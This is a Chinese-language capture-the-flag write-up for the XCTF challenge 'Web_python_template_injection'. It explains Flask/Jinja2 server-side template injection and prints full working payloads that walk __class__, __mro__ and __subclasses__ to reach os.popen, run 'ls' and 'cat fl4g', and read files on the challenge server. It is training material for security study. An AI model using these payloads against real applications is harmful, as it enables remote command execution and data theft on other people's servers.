XCTF-WEB-高手进阶区-Web_python_template_injection-笔记
Web_python_template_injection
o(╥﹏╥)o从这里开始题目就变得有点诡谲了
网上搜索相关教程的确是一知半解,大概参考了如下和最后的WP:
http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti
https://xz.aliyun.com/t/3679#toc-8 (这篇讲的特别好)
https://blog.csdn.net/sxingming/article/details/52071514
https://www.cnblogs.com/tr1ple/p/9415641.html
https://www.freebuf.com/column/187845.html
简单来说还就是代码不规范导致的,渲染函数render_template_string,在使用%s来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析
首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思 考怎样用 python 语句获取控制台权限:想到了 `os.system` 和 `os.popen`, 这两句前 者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是 内容,所所以选择 `os.popen`
知道了要用这一句,那么我要怎么找到这一句呢?
__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用
首先,找到当前变量所在的类:
http://159.138.137.79:56645/{{''.__class__}}
得到类:<type 'str'>
接下来查看他的基类:
http://159.138.137.79:56645/{{''.__class__.__mro__}}
得到基类:<type 'str'>, <type 'basestring'>, <type 'object'>
然后,通过基类来找其中任意一个基类的引用列表
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}} ps:mro里面不能不填,测试mro2和mro-1均能弹出来列表,其他的不行
找到Site_Printer() 位于第72位:所以:__subclasses__()[71]
直接使用listdir函数列出当前的文件,并搜索可能存在的flag文件或者:通过 `` 来 调用服务器的控制台并显示
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
返回:
URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found
得到名字以后使用文件名.read()的方式读取:
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
获得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found
得到flag
XCTF-WEB-高手进阶区-Web_python_template_injection-笔记的更多相关文章
- 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup
攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...
- 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...
- 攻防世界 WEB 高手进阶区 XCTF 4th-CyberEarth ics-06 Writeup
攻防世界 WEB 高手进阶区 XCTF 4th-CyberEarth ics-06 Writeup 题目介绍 题目考点 掌握暴力破解手段 Writeup 打开链接 http://220.249.52. ...
- 攻防世界 WEB 高手进阶区 unserialize3 Writeup
攻防世界 WEB 高手进阶区 unserialize3 Writeup 题目介绍 题目考点 PHP反序列化 __wakeup漏洞 Writeup 题名 unserialize 是反序列化函数名 了解一 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
- 攻防世界 WEB 高手进阶区 upload1 Writeup
攻防世界 WEB 高手进阶区 upload1 Writeup 题目介绍 题目考点 文件上传漏洞 一句话木马 中国菜刀类工具的使用 Writeup 使用burpsuite抓包 可见只是对上传文件的后缀进 ...
- 攻防世界 WEB 高手进阶区 PHP2 Writeup
攻防世界 WEB 高手进阶区 PHP2 Writeup 题目介绍 题目考点 url 二次解码 index.phps 文件(第一次使用dirsearch可能扫不到,需要加到工具字典里) php 简单语法 ...
- 攻防世界 WEB 高手进阶区 NSCTF web2 Writeup
攻防世界 WEB 高手进阶区 NSCTF web2 Writeup 题目介绍 题目考点 php基本函数语法 加密解密函数 base64_decode().str_rot13() 字符串反转函数 str ...
随机推荐
- 深入浅出AQS源码解析
最近一直在研究AQS的源码,希望可以更深刻的理解AQS的实现原理.虽然网上有很多关于AQS的源码分析,但是看完以后感觉还是一知半解.于是,我将自己的整个理解过程记录下来了,希望对大家有所帮助. 基本原 ...
- Quartz.Net系列(十六):Misfire策略在SimpleScheduler和CronScheduler中的使用
1.场景 ①因为工作线程都在忙碌,所以导致某些Trigger得不到触发 也就是默认10个工作线程而我有15个Trigger同时触发 这就导致有5个不能被触发,而不幸的是Trigger所关联的Job执行 ...
- Python Ethical Hacking - BACKDOORS(8)
Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...
- Python基础点记录2
---- PygLatin 1 介绍函数的调用,就是直接函数名 def square(n): squared = n**2 print "%d squared is %d." % ...
- 题解 洛谷 P5163 【WD与地图】
首先将操作倒序,把删边转化为加边.先考虑若边是无向边,条件为连通,要怎么处理. 可以用并查集来维护连通性,对每个连通块维护一颗权值线段树,连通块的合并用线段树合并来实现,线段树同时也支持了修改点权. ...
- Docker 概念-1
阅读本文大概需要15分钟,通过阅读本文你将知道一下概念: 容器 什么是Docker? Docker思想.特点 Docker容器主要解决什么问题 容器 VS 虚拟机 Docker基本概念: 镜像(Ima ...
- scrapy分布式浅谈+京东示例
scrapy分布式浅谈+京东示例: 学习目标: 分布式概念与使用场景 浅谈去重 浅谈断点续爬 分布式爬虫编写流程 基于scrapy_redis的分布式爬虫(阳关院务与京东图书案例) 环境准备: 下载r ...
- java 方法及引用数据类型
一.方法 在java中,方法就是用来完成解决某件事情或实现某个功能的办法. 1.语法格式: 修饰符 返回值类型 方法名(参数类型 参数名1,参数类型 参数名2,......){ 执行语句 ……… re ...
- 详解 MySQL 面试核心知识点
一.常见存储引擎 1.1 InnoDB InnoDB 是 MySQL 5.5 之后默认的存储引擎,它具有高可靠.高性能的特点,主要具备以下优势: DML 操作完全遵循 ACID 模型,支持事务,支持崩 ...
- Linux最常用的基本操作复习
.ctrl + shift + = 放大终端字体 .ctrl + - 缩小终端字体 .ls 查看当前文件夹下的内容 .pwd 查看当前所在的文件夹 .cd 目录名 切换文件夹 .touch 如果文件不 ...